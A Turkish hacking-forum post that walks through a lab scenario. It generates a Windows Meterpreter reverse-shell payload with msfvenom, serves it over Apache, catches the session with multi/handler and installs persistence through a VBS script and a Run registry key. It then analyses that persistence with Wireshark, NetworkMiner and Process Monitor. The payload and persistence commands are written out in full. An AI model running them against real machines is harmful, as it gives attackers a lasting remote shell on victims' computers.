Kalıcı Meterpreter Dinamik Zararlı Analizi

layef

Üye
28 Mar 2020
135
46
nowhere

Senaryonun Özeti;

1. M3tasploit ile meterpreter oturumu elde etmek
2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma
3. Oluşturulan vbs script'in dinamik analizinin yapılması

Lab Ortamı: Kali Linux 2021.1, Windows 8.1​

1.M3tasploit ile meterpreter oturumu elde etmek

Basic bir örnekle meterpreter oturumu elde edeceğiz. Aşamaları tek tek aşağıda belirteceğim...

Öncelikle Meterpreter Nedir?

M3ta-Interpreter'in kısaltılmışı olan meterpreter modül destekli ileri düzey bir M3tasploit payload çeşididir. Karşı bilgisayarda çalışan gelişmiş bir komut satırı desek yanlış söylemiş olmayız. Meterpreter hard diske yazma işlemi yapmaz, RAM üzerinde çalışır. Meterpreter payloadı, M3tasploit ile şifreli bir şekilde iletişim kurmaktadır. Buradaki hedef kurban bilgisayarda minimum iz bırakmadır. Meterpreter çalışırken üzerine yeni modüller eklenebilir örnekte yapacağımız persistence modülü gibi.



Kod:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5432  -f exe -o blue.exe

Açıklama;

Kod:
-p //-- payload belirttik,

-f //-- çıktının hangi formatta olacağı,

-o //-- oluşturduğumuz payload'ın ismini,

LHOST //-- Saldırgan makinenin adresi,

LPORT //-- İletişime geçilecek portu belirtiyoruz.


Ardından oluşturduğumuz payloadı /var/www/html adresine kopyaladık ve Local ağdaki tüm makinelere açık hale getirdik.

ve tabi unutmadan, bu işlemin gerçekleşmesi için apache2 sunucumuzu aktif hale getirmemiz gerekmekte. Kontrol etmek için service --status-all yapabilirsiniz.



Daha sonra msfconsole ile m3tasploit'e giriş yapalım. Payload tarafından gelen paketleri exploit/multi/handler ile yakalayacağız.

Bu arada exploit/multi/handler tüm platformlar için geçerli bir dinleme modülü.

tekrardan;

Kod:
set LHOST //-- Saldırgan makinenin adresi,

set LPORT //-- İletişime geçilecek portu belirtiyoruz ve

set payload ... //-- ile payload belirttik.

exploit veya run ile dinlemeye başlayalım.

Herhangi bir şekilde kurban bilgisayarımızda payload çalıştığı andan itibaren meterpreter oturumumuz açılmış olacaktır.

Herhangi bir sosyal mühendislik saldırısı ile kurban sistemde payloadı çalıştırdık ve meterpreter oturumu elde ettik.

Şimdi ise kalıcılığı sağlayalım..

2. Kalıcılı sağlamak için persistence modülü ile vbs scripti oluşturma

Kalıcılık neden önemli? Yukarıda elde ettiğimiz meterpreter oturumu malesef kalıcı bir oturum değil. Herhangi bir ağ bağlantısı hatası veya kurban makinenin kapatılması vb gibi durumlarda meterpreter oturumunu kaybedebiliriz.

Bu örnekte persistence modülü ile kalıcılığı sağlayacağız fakat kalıcılık bir çok farklı yöntem ile elde edilebilir. Bu yöntemlerden birkaçı;

  • Backdoor
  • Direct Code Injection
  • S4U Persistence (Scheduled Persistence)
  • Registry-persistence modulü

Şimdi Persistence modülü ile kalıcılığı sağlamaya geçelim. Meterpreter oturumunda iken yapmamız gereken..



Kod:
run persistence -A -U -i 30 -p 5432 -r 192.168.1.200

Açıklama;

Kod:
-A //-- Multi/Handler modulü ile eşleşen script kurbanda  etkinleştirildiğinde otomatik bağlantı yapmaya olanak sağlar,

-U //-- Hedef alınan kullanıcı bilgisi verilir. Biz tüm kullanıcılar için etkinleştirdik,

-i //-- Sıradan bir payload sadece ilk çalıştığı anda kendi sunucusuna bağlantı isteği gönderir. 
Bu parametre sayesi ile belirtilen saniye aralığında multi/handler modulüne bağlantı isteği gönderir,

-p //-- Port bilgisi,

-r //-- (M3tasploit)Handler modülünün çalıştığı ip adres bilgisi.

Yeşil ile çevrelenmiş alanda görüldüğü üzere Temp dosyası altına hKRRGj.vsb scripti oluşturdu. Default olarak temp dosyasının altına oluşturuluyor eğer istersek -L parametresi ile konum bilgisi verilebilir.

Ayrıca bu scripti çalıştıracak kayıt anahtarı da(FauiknGLDcwlqY) Software\Microsoft\Windows\CurrentVersion\Run\ içerisine eklendi.

Yani sistem her açılışında otomatik olarak çalışacaktır.

3. Oluşturulan vbs script'in dinamik analizinin yapılması

Malware Dinamik Analiz Nedir? Özetle Malware'in statik analiz sonrası(en sağlıklısı budur) izole edilmiş ortamda çalıştırılarak çeşitli araçlar yardımı ile etkilerinin incelenmesidir.

İlk olarak ağ hareketlerinden başlayalım. hKRRGj.vsb isimli scriptimiz bilgisayarda çalışır durumda iken NetworkMiner aracımızı açıyoruz.



Host sekmesinde dikkatimizi çeken bir olay var. 192.168.1.200 numaralı ip'den TCP 5432 numaralı porttan bir veri alışverişi var. Bu ip bilindiği üzere saldırgan makinenin ip adresiydi.

Wireshark aracında da tcp.port == 5432 parametresi ile de 5432 numaralı port incelenebilir.



Burada size göstermek istediğim bir olay var. Bu olay aslında sistemde bir persistence modelinin olduğunu bize kanıtlamaktadır.



Wireshark'ta Statistics > I/O Graphs bölümüne gelelim. Bilindiği gibi oluşturduğumuz vbs scripti her 30 saniyede bir bağlantı isteği gönderecekti. Burada yaklaşık 150 saniye boyunca saldırgan makineden herhangi dinleme yapılmadı. Görüldüğü gibi yaklaşık 30 saniyede bir TCP bağlantı hatası ile karşılaşılmış yani TCP Errors almış bu 150 saniye içinde 4 kez tekrarlanmış. (Kırmızı ile belirtilen yerler TCP Erros kısımları, kahverengimsi kısım ise 5432 numaralı porttan geçen alışveriş.) Fakat 5. seferde bağlanılmış. Bunu nereden anlıyoruz derseniz görüldüğü gibi bağlantının aktif olmasından dolayı yüklü bir paket artışı var ve sonrasında bu port üzerinden alışveriş devam ettiği için kahverengimsi çizgimiz de hareketlenmiş.

Network kısmından şimdide sistem üzerinde neler olduğuna bakalım.

Bunun için kullanacağımız araçlar: Process Explorer, Process Monitor

Process Explorer

Görev yöneticisine benzerdir. Çalışan process, thread gibi bilgileri listeler. Dosyaların çağırılma konumu ve bağlantı adresleri gibi bilgileri vermektedir.

Process Monitor

Gerçek zamanlı olarak Dosya İşlemleri, Registry kayıtları ve process thread gibi işlemleri gösterebilir.

İkisini aynı anda açalım.



Process Explorer'da alışılmışın dışında bir şeyler var gerek ismi gerek cpu kullanımı üstüne çift tıklayarak incelediğimizde..

TCP/IP bölümünde o meşhur ip ve portu görmekteyiz. Parçaları tek tek kafamızda oturmaya başladı aslında.



Şimdi ise Process Monitor'e geçelim burada Process Explorer ile öğrendiğimiz fCPcvLKpRBeF.exe dosyası ile filteleme yapalım.

Bunun için Process Monitor'de Ctrl + L ile Filter kısmına gelelim.

Burada Process ismine göre bir filtreleme yapacağımız için Process Name is fCPcvLKpRBeF.exe olarak filtreleme işlemi yapalım.





Burada fCPcvLKpRBeF.exe ait bağlantıları ve registry kayıtlarını görmekteyiz.

Ayrıca değişik filtrelemeler ile okunan dosyaları(ReadFile), oluşturulan dosyaları(CreateFile) incelemek mümkün.

Selam ve Sevgilerle layef...


 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.